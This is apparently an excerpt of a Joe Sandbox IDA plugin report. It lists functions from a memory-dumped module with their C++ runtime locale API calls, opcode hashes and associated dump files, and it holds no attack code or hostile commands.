Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: 212929bdae0ae5bd6d77ae3d49a087fc7d1dc5ce4a8d0d321b2d7fe0e56f5dd2
Instruction ID: 523b783e4dcfeadf9b077bfb645683a3be9f31edfd61123a00e726633335a435
Opcode Fuzzy Hash: 212929bdae0ae5bd6d77ae3d49a087fc7d1dc5ce4a8d0d321b2d7fe0e56f5dd2
Instruction Fuzzy Hash: 88F0A93190121A8BCB00EFA0C504BDEBBB4BF30318F508019E84967B90CB78EB09CBA0

Function 6C94F4F0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F4F7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038,6C94EC37,00000000), ref: 6C94F521

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6C94EC37,00000000), ref: 6C94F52C

Part of subcall function 6C943C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C7E
Part of subcall function 6C943C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6C94EC37,00000000), ref: 6C94F534

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: 404cb13e50ee0770f810809965d2d2831e3a7b6c66285da12d86147e3c883173
Instruction ID: 5aa6ada832d79821ffbad41f032b630849ad65df32f323ecff76b17ebc544d64
Opcode Fuzzy Hash: 404cb13e50ee0770f810809965d2d2831e3a7b6c66285da12d86147e3c883173
Instruction Fuzzy Hash: 01F0A9319113158BCB00DFA0C504BDEB6B4AF30328F908419A44967B80CB78EB09CBA0

Function 6C9596F0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9596F7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008), ref: 6C959700

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C959719

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: ce6b32e54009719b442765435b0e525ad37da445218b5ae53eaa4f82d5f98ed8
Instruction ID: d9c61ae0303ee8894b26c95a858b4fbc2b6beac0a97e8f049a5815cd371f5808
Opcode Fuzzy Hash: ce6b32e54009719b442765435b0e525ad37da445218b5ae53eaa4f82d5f98ed8
Instruction Fuzzy Hash: A9E03939A002149BCF04EBB0C4145AD7B716F74228F904108D4056B7D0EF36CF29CB51

Function 6C9566E0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9566E7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008), ref: 6C9566F0

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C956709

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: c029996b7df6f4c8fb29933c76fe28d9d9a9cf7c3521172f24e2125c7ef80666
Instruction ID: 66a61f05aa1cb70d4e893e9f5bb820c717084f02da60a3778ff3ed179309b775
Opcode Fuzzy Hash: c029996b7df6f4c8fb29933c76fe28d9d9a9cf7c3521172f24e2125c7ef80666
Instruction Fuzzy Hash: 06E03939A012149BCF04EBB0C4146AD7771AF74228F904108D4056B7D0EF35CF2ACB51

Function 6C933CD0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C933CD7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038), ref: 6C933CF9

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

ctype.LIBCPMT(?,00000038), ref: 6C933D08

Part of subcall function 6C9338F0: _Getctype.MSVCP140(?,?,?,00000000,?,?,6C933839,?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001), ref: 6C9338FF
Part of subcall function 6C9338F0: _Getcvt.MSVCP140(?,?,?,?,00000000,?,?,6C933839,?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001), ref: 6C933911

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6C933D10

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetctypeGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesctypestd::bad_exception::bad_exception
String ID:
API String ID: 4148237857-0
Opcode ID: 0b6b1725a2a3d76dc9f3d4d79f3dfc784365e72c9b93d28d829693357bd3f60b
Instruction ID: 6ae520a80dfd27c41b527572c177459c2c476eeb607a21e1081a4258eb1c7085
Opcode Fuzzy Hash: 0b6b1725a2a3d76dc9f3d4d79f3dfc784365e72c9b93d28d829693357bd3f60b
Instruction Fuzzy Hash: 60E092719216188BCB00EFA4C541ADDB7B4AF34318F904069E445A7B90DB78DB0EC7A1

Function 6C93DF80 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93DF87
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6C93DF4E,00000020,?,?,?,?,?,?,?,?,6C93DE0D,?,?), ref: 6C93DF90

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C93DFA9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: 089032576d5fea97576a555213b2cdfc0bea58fd5dced2b3df5d93a48a005b14
Instruction ID: 27670e283fd91195fb10d002cb1fd9ad5d2dbe76c66257b9ecd7c1be28aa9d36
Opcode Fuzzy Hash: 089032576d5fea97576a555213b2cdfc0bea58fd5dced2b3df5d93a48a005b14
Instruction Fuzzy Hash: 41E0E539A016159BCB04EBB0C5546AD7671AFB4228FA04158C4056B7D0EF39DF2A8B95

Function 6C93D860 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93D867
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6C93D7FE,00000020,?,?,?,?,?,?,?,?,6C93D26D,?,?), ref: 6C93D870

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93D889

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: fadb4661b8fd92b9ad3d10e1a625b9fa5616a52ad45b87b050384f332e37febd
Instruction ID: 3ba3983cf988d1b3ec53787f0ba3ae88c8d02ac7131e9a01580343c54a7185e1
Opcode Fuzzy Hash: fadb4661b8fd92b9ad3d10e1a625b9fa5616a52ad45b87b050384f332e37febd
Instruction Fuzzy Hash: 59E06539A012249BCB04EBB0C424AAD76B16FB4228FA00118C4016B7D0EF35CF2ACB55

Function 6C94FBC0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94FBC7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038,6C94EA57,00000000), ref: 6C94FBE9

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6C94EA57,00000000), ref: 6C94FBF8

Part of subcall function 6C94C3D0: __EH_prolog3_catch.LIBCMT ref: 6C94C3D7
Part of subcall function 6C94C3D0: _Getcvt.MSVCP140(?,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C3F3
Part of subcall function 6C94C3D0: ?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C407
Part of subcall function 6C94C3D0: ?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C41B
Part of subcall function 6C94C3D0: _Getdateorder.MSVCP140(00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94C43A

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6C94EA57,00000000), ref: 6C94FC00

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Locinfo@std@@free$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGetcvtGetdateorderGetdays@_Getmonths@_H_prolog3_catchInit@?$time_get@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowU?$char_traits@V12@V12@@V?$istreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 4075780567-0
Opcode ID: 9e22b5604caa98f124d422d10fbee377a9eb49224c535ba687b6612fc793b2e6
Instruction ID: 3c7af3348199f27a8e81ff378b120334a60c7eb75c4e5be9528e107dbf5920cb
Opcode Fuzzy Hash: 9e22b5604caa98f124d422d10fbee377a9eb49224c535ba687b6612fc793b2e6
Instruction Fuzzy Hash: C7E092719216188BCB00EF94C541ADDB7B4AF34718F908069E045A7B90DB78DB0DC7A1

Function 6C94FB70 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94FB77
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(?,00000038), ref: 6C94FB97

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038), ref: 6C94FBA6

Part of subcall function 6C94C3D0: __EH_prolog3_catch.LIBCMT ref: 6C94C3D7
Part of subcall function 6C94C3D0: _Getcvt.MSVCP140(?,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C3F3
Part of subcall function 6C94C3D0: ?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C407
Part of subcall function 6C94C3D0: ?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?), ref: 6C94C41B
Part of subcall function 6C94C3D0: _Getdateorder.MSVCP140(00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?,?,00000000,?,?,?,00000004), ref: 6C94C43A

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6C94FBAE

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Locinfo@std@@free$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGetcvtGetdateorderGetdays@_Getmonths@_H_prolog3_catchInit@?$time_get@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowU?$char_traits@V12@V12@@V?$istreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 4075780567-0
Opcode ID: 4947f726c84fe560d9d36ca8d38ba731bdcc9a9eee22ad1a665b76b110f293aa
Instruction ID: 04848335f3413c9493ceb36b58d5fa9d4c604d1fc5747f76bdbfd245842ebcf3
Opcode Fuzzy Hash: 4947f726c84fe560d9d36ca8d38ba731bdcc9a9eee22ad1a665b76b110f293aa
Instruction Fuzzy Hash: ABF092319216189BCB00EF94C5416DDB7B4BF34718F908059E445A7B80DB74DB1DCBA1

Function 6C94F6B0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F6B7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(?,00000038), ref: 6C94F6D7

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
